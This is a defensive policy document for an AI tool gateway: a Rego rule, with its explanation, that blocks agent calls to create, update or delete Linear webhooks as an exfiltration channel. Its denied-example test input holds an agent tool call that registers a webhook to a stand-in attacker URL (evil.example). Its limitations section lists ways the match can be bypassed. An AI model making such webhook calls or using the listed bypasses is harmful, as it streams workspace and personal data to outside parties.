dtwo Policy Store

Block Linear Webhook Creation

Unconditionally denies any Linear tool that creates, updates, or deletes a webhook — linear createWebhook, linear deleteWebhook, and update variants.

Direction
ingress
Rego package
linear.ingress.guard_webhook_persistence
App
linear
Bundle
soc2
Published
Minimum gateway
1.0.0b24
Schema version
1.0.0
Checksum
sha256:89952ab95c0ff7b7c54f0ea3cac2c597cd238d09e79fb485a7feb289df072856

linearguard-webhook-persistenceingresswebhookexfiltrationsoc2

What this policy does

Direction: ingress (tool_pre_invoke) Default: deny on match, allow otherwise Package: linear.ingress.guard_webhook_persistence

What it does

Unconditionally denies any Linear tool that creates, updates, or deletes a webhook — linear_createWebhook, linear_deleteWebhook, and update variants. All other Linear tool calls pass through unchanged.

A single linear_createWebhook call — a callback URL plus an event scope — converts one approved invocation into a permanent, out-of-band feed of workspace events (issues, comments, project updates, customer records) to an arbitrary URL. Once the webhook exists the gateway cannot see or inspect the data flowing through it: it is a standing exfiltration channel that survives the session, the agent, and the pipeline that created it. This is the highest-risk single tool in the Linear landscape.

The official Linear MCP server exposes no webhook tools at all, so any webhook call reaching the gateway is community-sidecar traffic by definition (the tacticlaunch/mcp-linear server, which mirrors the full GraphQL API). Agents have no legitimate reason to stand up, retarget, or tear down a webhook, so this policy is deny-for-everyone: there is no group exemption and no role check. A standing exfiltration channel should never be created through an agent path — a compromised or prompt-injected agent gets a hard stop, not a permission ladder to climb. Treat every denial from this policy as a log-and-alert signal, not routine noise.

Compliance alignment

  • SOC 2 CC6.7 — supports the restriction on transmission/movement/removal of information: a webhook is a standing transmission channel that streams workspace records out to an external endpoint continuously and invisibly; blocking its creation on the agent path keeps the agent from opening an uncontrolled data-egress route.
  • SOC 2 CC6.6 — supports boundary protection against external threats: the webhook callback delivers workspace events to an arbitrary URL outside the gateway's inspection boundary, so denying webhook creation hardens the boundary the gateway is meant to enforce.
  • GDPR Art. 5(1)(f) / Art. 32 — supports security of processing: an agent-created webhook is an uninspectable, unlogged onward feed of personal data (assignee names, customer records, comment bodies) that undermines the integrity and confidentiality of processing.
  • GDPR Arts. 44 / 46 — supports control over cross-border/onward transfers on the agent-visible path: a webhook to an arbitrary callback URL is an uncontrolled transfer to an unknown recipient (potentially outside the EEA), which this policy prevents from being established via the agent.

Tool name matching

The policy matches tools case-insensitively by suffix on lower(input.resource.name), in both the verb-noun and noun-verb orderings:

  • *createwebhook / *webhookcreate
  • *updatewebhook / *webhookupdate
  • *deletewebhook / *webhookdelete

linear_createWebhook and linear_deleteWebhook are verified names from the tacticlaunch/mcp-linear TOOLS.md inventory; the update variant is the natural GraphQL-mirroring sibling (an updateWebhook mutation exists in Linear's API) and is included defensively. Both orderings are matched because Linear's underlying GraphQL mutations are named noun-verb (webhookCreate, webhookUpdate, webhookDelete), and the landscape note states the tacticlaunch sidecar "mirrors the full GraphQL API" — a server that wraps those mutations more literally would present linear_webhookCreate rather than tacticlaunch's verb-noun linear_createWebhook. Matching only the verb-noun suffix would let the GraphQL-native spelling through, so both are covered.

The DTwo gateway prefixes tool names with the configured MCP server name, and that prefix — and the separator it uses — is not standardized. Matching on the bare lowercased suffix (createwebhook, not -createWebhook) keeps the policy portable: it catches the prefixed camelCase name (linear_createWebhook), any separator the gateway joins with (linear-createWebhook, linear.createWebhook), a mixed-case rename, and the unprefixed name. No benign Linear tool ends in any of these suffixes — the read counterpart is linear_getWebhooks, which ends in getwebhooks and is left untouched (reading existing webhooks is useful for detection). Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production.

Argument shape

None inspected. The deny is keyed entirely on the tool name — arguments (callback URL, event scope) are irrelevant because no invocation of these tools is acceptable from an agent. Calls with missing or empty args are still denied (fail closed on the name match alone).

Examples

Allowed

{
  "input": {
    "action": "tool_pre_invoke",
    "resource": { "name": "linear_getWebhooks", "type": "tool" },
    "payload": { "name": "linear_getWebhooks", "args": {} }
  }
}

allow = true, no reason — reading existing webhooks is fine (and useful for detection).

Denied

{
  "input": {
    "action": "tool_pre_invoke",
    "resource": { "name": "linear_createWebhook", "type": "tool" },
    "payload": {
      "name": "linear_createWebhook",
      "args": { "url": "https://evil.example/hook", "resourceTypes": ["Issue", "Comment"] }
    }
  }
}

allow = false, denied with the security-review reason below.

Composition

  • apps/linear/freeze-destructive-ops — the broader destructive-suffix wall (delete*/archive*/logout*). It also covers linear_deleteWebhook; this policy is the unconditional inner wall for the webhook surface specifically (creation is a persistence op, not a destructive one, so createWebhook/updateWebhook belong here). Attaching both is redundant on delete and complementary on create/update.
  • apps/linear/default-deny-unknown-tools (PF-28) — closes the rename residual: a webhook tool renamed entirely (e.g. subscribeEvents) would slip this suffix match but is caught by the allowlist.
  • apps/linear/role-gate-writes — the outer least-privilege write gate; this policy is the always-on inner wall for the single highest-risk surface.

Known limitations

  • Suffix anchoring, not full names. Matching is anchored on the lowercased createwebhook/updatewebhook/deletewebhook suffix and its noun-verb mirror webhookcreate/webhookupdate/webhookdelete, so it catches prefixed and separator-joined names in either ordering. A server that renames the tool entirely (e.g. subscribeToEvents, addWebhookEndpoint) — where neither the create/update/delete verb nor webhook is the final token — would still slip past. Combined with default-deny-unknown-tools (PF-28) this residual is closed.
  • Noun-verb (GraphQL-native) ordering is covered. Linear's GraphQL mutations are webhookCreate/webhookUpdate/webhookDelete; the policy matches this ordering as well as tacticlaunch's verb-noun createWebhook. This closes a bypass where a more literal GraphQL wrapper would present the noun-verb spelling. (Red-team finding, fixed — see the linear_webhookCreate deny test.)
  • Underscore-split spellings. The suffixes are the camelCase community spellings (createWebhookcreatewebhook, webhookCreatewebhookcreate). A hypothetical snake_case spelling in either ordering (create_webhook, webhook_create) would not match because the underscore breaks the suffix. No verified Linear server uses that spelling (the official server has no webhook tools; tacticlaunch uses camelCase; jerhadf exposes no webhook tools), but if your server does, add the split-form suffix.
  • Raw GraphQL / passthrough tools. This policy keys on the tool name, so it cannot see a webhookCreate mutation smuggled through a generic raw-GraphQL or API-passthrough tool. No such tool is verified in the Linear landscape note, and any unrecognized passthrough tool is caught by default-deny-unknown-tools (PF-28) and deny-escape-hatches (PF-22); attach those alongside this policy.
  • No identity gate by design. This policy has no input.subject.claims group check — all callers are denied. A standing exfiltration channel should never be created via an agent path, so there is no break-glass branch here. If you genuinely need an agent-driven integration setup, do it through an out-of-band IT/security-review process, not by exempting a group in this policy.
  • Existing webhooks are not torn down. This policy blocks the creation, modification, and deletion of webhooks via the agent; it does nothing about webhooks already registered in the workspace out of band. Audit existing webhooks in Linear's settings directly.
  • MCP path only. Webhooks created via Linear's web UI, native API, or a personal API token outside the gateway are outside its reach.

Compliance note. This policy supports alignment with the cited framework controls on the MCP path only. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it.

Policy source (Rego)

package linear.ingress.guard_webhook_persistence

# Deny-by-default: only the explicit allow rule below permits the request.
default allow := false

# Webhook-persistence surfaces. A Linear webhook is a standing outbound feed of
# workspace events to an arbitrary URL that the gateway cannot inspect once
# created — the highest-risk single tool in the Linear landscape. The official
# server exposes NO webhook tools, so any webhook call is community-sidecar
# (tacticlaunch) traffic by definition.
#
# The gateway prefixes tool names with the configured MCP server name, and that
# prefix and its separator are not standardized. We match case-insensitively on
# the bare verb-noun suffix (`createwebhook`, not `-createWebhook`) so the rule
# catches the prefixed camelCase name (`linear_createWebhook`), any separator
# (`linear-createWebhook`, `linear.createWebhook`), a mixed-case rename, and the
# unprefixed name. No benign Linear tool ends in these suffixes — the read
# counterpart is `getWebhooks` (`...getwebhooks`), which is left untouched.

# Creates a webhook (opens a standing out-of-band exfiltration channel).
is_webhook_tool if {
    endswith(lower(input.resource.name), "createwebhook")
}

# Updates a webhook (can retarget the callback URL or widen the event scope).
is_webhook_tool if {
    endswith(lower(input.resource.name), "updatewebhook")
}

# Deletes a webhook (mutating the webhook set is not an agent action).
is_webhook_tool if {
    endswith(lower(input.resource.name), "deletewebhook")
}

# Same three surfaces in GraphQL-native noun-verb order. Linear's underlying
# GraphQL mutations are named `webhookCreate`/`webhookUpdate`/`webhookDelete`,
# and the tacticlaunch sidecar "mirrors the full GraphQL API" — so a server that
# wraps the mutations more literally (or a future tool rename) can present the
# noun-verb spelling (`linear_webhookCreate`) instead of tacticlaunch's verb-noun
# spelling (`linear_createWebhook`). Match both orderings so neither slips.
# `getWebhooks` (`...getwebhooks`) still ends in none of these and is untouched.
is_webhook_tool if {
    endswith(lower(input.resource.name), "webhookcreate")
}

is_webhook_tool if {
    endswith(lower(input.resource.name), "webhookupdate")
}

is_webhook_tool if {
    endswith(lower(input.resource.name), "webhookdelete")
}

# Allow everything that is not a webhook-mutation tool.
allow if {
    not is_webhook_tool
}

# No allow rule exists for webhook tools: the deny is unconditional.
# There is deliberately no group exemption — a standing exfiltration channel
# should never be created via an agent path, for any caller.

reasons contains "Linear webhooks create a standing outbound feed of workspace events to an external URL that the gateway cannot see or inspect once created — agents are not permitted to create, update, or delete them. Set up integrations through your IT or security-review process instead of via the agent. This attempt has been flagged for security review. Contact your InfoSec team if you believe this block is a mistake." if {
    is_webhook_tool
}

reason := joined if {
    count(reasons) > 0
    reason_list := sort([r | some r in reasons])
    joined := concat("; ", reason_list)
}

Canonical source: policy.md on GitHub · raw · raw on this site (.md)